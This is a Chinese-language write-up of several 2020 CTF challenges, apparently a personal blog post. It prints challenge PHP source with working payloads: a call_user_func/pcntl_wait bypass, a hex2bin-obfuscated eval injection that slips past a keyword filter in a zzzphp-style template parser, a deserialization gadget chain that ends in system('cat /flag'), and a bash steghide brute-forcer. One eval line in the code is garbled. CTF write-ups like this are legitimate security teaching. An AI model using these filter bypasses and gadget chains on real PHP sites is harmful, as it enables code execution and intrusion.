2020强网杯和国赛WP
简单记录一下高校信息安全竞赛和强网杯的几道题
全国大学生信息安全竞赛
Easyphp
首先分析了一下源码
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork(); //pcntl_fork — 在当前进程当前位置产生分支(子进程)。译注:fork是创建了一个子进程,父进程和子进程 都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程 号,而子进程得到的是0。
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status); //等待或返回fork的子进程状态
if(!pcntl_wifexited($status)){ //检查子进程状态代码是否代表正常退出。
phpinfo(); //flag
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]); //回调函数 a是回调函数名 b是第一个参数 需要有三个参数
}
posix_kill(posix_getpid(), SIGUSR1); //Return the process identifier of the current process. Send the signal SIGUSR1 to the process with the process identifier pid. SIGUSR1 用户自定义信号 默认处理:进程终止
}
大意就是需要正常产生进程才可正确执行到phpinfo()。
然后根据环境的提示发现了Apache中不能使用pcntl_fork来产生进程。
搜索发现stackoverflow上有大佬提出解决方案是在父级中使用pcntl_wait,并为子级rpocesses执行写操作。
这里回调函数使用了三个参数 而且还a还过滤了pcntl
所以回调call_user_func减少参数。在b变量传入pcntl_wait.
payload:?a=call_user_func&b=pcntl_wait
在phpinfo中搜索flag{
即可拿到flag
Rceme
看到命令执行的地方发现是zzzphp1.6.1的漏洞,但是题目改了过滤的函数
<?php
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
print($content);
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
print("First regex\n");
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1); //调用了danger_key
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'='); //调用了splits
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
print("\nifstr:".$ifstr);
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
print("Eval!!!");
eval('0302181^@[@[_^^ info();');
eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); //目标?
// echo('\nif(' . $a . '){$flag="if";}else{$flag="else";}\n');
//eval( 'if(' ."phpinfo()". '){$flag="if";}else{$flag="else";}' );
}
echo("\n".$flag."\n");
print_r($matches);
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
echo("m2".$matches2[1]);
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
echo("\nout:".$out_html);
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
print("wowowoo222::::".$out_html);
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
print("wowowoo333::::".$out_html);
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
print("wowowoo444::::".$out_html);
$out_html = $this->parserIfLabel( $out_html );
print("-------------------------".$out_html);
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
else
print("没过第一个正则");
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
highlight_file(__FILE__);
被过滤吓傻了 一直找不到绕过的方法 这里把payload写下来 记录一下
{if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();//}{end%20if}
Babyunserialize
扫目录 有www.zip
分析了好久 还是自己太菜了 对于这种很复杂的cms 完全找不到入手点
看WP说是wmctf2020中的f3反序列化 直接上exp看phpinfo即可
当然了重点不送找到这个exp 而是学会串联Gadget。
强网杯
强网辅助
这个题刚一打开就是一个传参 要求username和password 扫了半天也没发现什么。。。原来是官方忘放源码了
看源码是一道反序列化
把require的两个文件塞进去之后 分析了一下序列
//play.php
<?php
// require_once "common.php";
// require_once "class.php";
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
class player{
public $user;
public $pass;
public $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
public $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name; //midsolo
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
echo("__construct"); //jungle
$this->name = $name;
}
public function __wakeup(){
echo("__wakeup");
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){ //当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
echo("__invoke");
$this->Gank();
}
public function Gank(){
echo("gank");
if (stristr($this->name, 'Yasuo')){ //jungle
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag"); //FLAG
}
public function __toString(){
$this->KS(); //jungle to string
print("jungle");
return "";
}
}
// $player = new player($username, $password);
// // $player->admin = 1;
// $jungle = new jungle;
// $midsolo = new midsolo($jungle);
// $topsolo = new topsolo;
// $topsolo->name = $midsolo;
// $player->pass = $topsolo;
// $player->user = "*************";
// // echo("--".$player->user."--");
// echo("??????????????".serialize($player)."????????????????");
// $str = 'O:6:"player":3:{s:16:"%00player%00user";O:7:"topsolo":1:{s:17:"%00topsolo%00name";O:7:"midsolo":1:{s:17:"%00midsolo%00name";O:6:"jungle":1:{s:16:"%00jungle%00name";s:7:"Lee Sin";}}}s:16:"%00player%00pass";N;s:5:"%00player%00admin";i:1;}';
$str = 'O:6:"player":3:{s:7:"%00*%00user";s:39:"*************";s:7:"%00*%00pass";s:165:"12345";s:12:"%00player%00pass";O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:4:"\6e\61\6d\65";S:7:"Lee Sin";}}}";s:8:"*admin";i:0;}';
// $str = 'O:6:"player":3:{s:7:"*user";s:39:"*************";s:7:"*pass";s:158:"12345";s:7:"*pass";O:7:"topsolo":1:{S:7:"*\6e\61\6d\65";O:7:"midsolo":1:{S:7:"*\6e\61\6d\65";O:6:"jungle":1:{S:7:"*\6e\61\6d\65";S:7:"Lee Sin";}}}s:8:"*admin";i:0;}';
unserialize($str);
print_r(unserialize($str));
// @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
// if ($player->get_admin() === 1){
// echo "FPX Champion\n";
// }
// else{
// echo "The Shy unstoppable\n";
// }
//O:6:"player":3:{s:4:"user";O:7:"topsolo":1:{s:4:"name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:7:"*pass";N;s:5:"admin";i:1;}
?>
结果用的时候发现并没有我想象中那么简单 还涉及到两个问题 一个是反序列化字符逃逸 另一个是NAME的绕过 字符逃逸就是通过%00*%00 使实际长度缩短 但是序列中的长度不变,就可以吃掉后面一部分序列 再通过第二个参数拼接
upload
打开是一个PCAP 直接导出HTTP发现两个页面
一个是上传页面 一个是传输文件完成的
上传页面提示是steghide 随手用crunch生成6位纯数字密码 吃了个午饭就跑出来了
#bruteStegHide.sh
#!/bin/bash
for line in `cat $2`;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if [[ $? -eq 0 ]];then
echo 'password is: '$line
exit
fi
done
密码居然是123456 。。。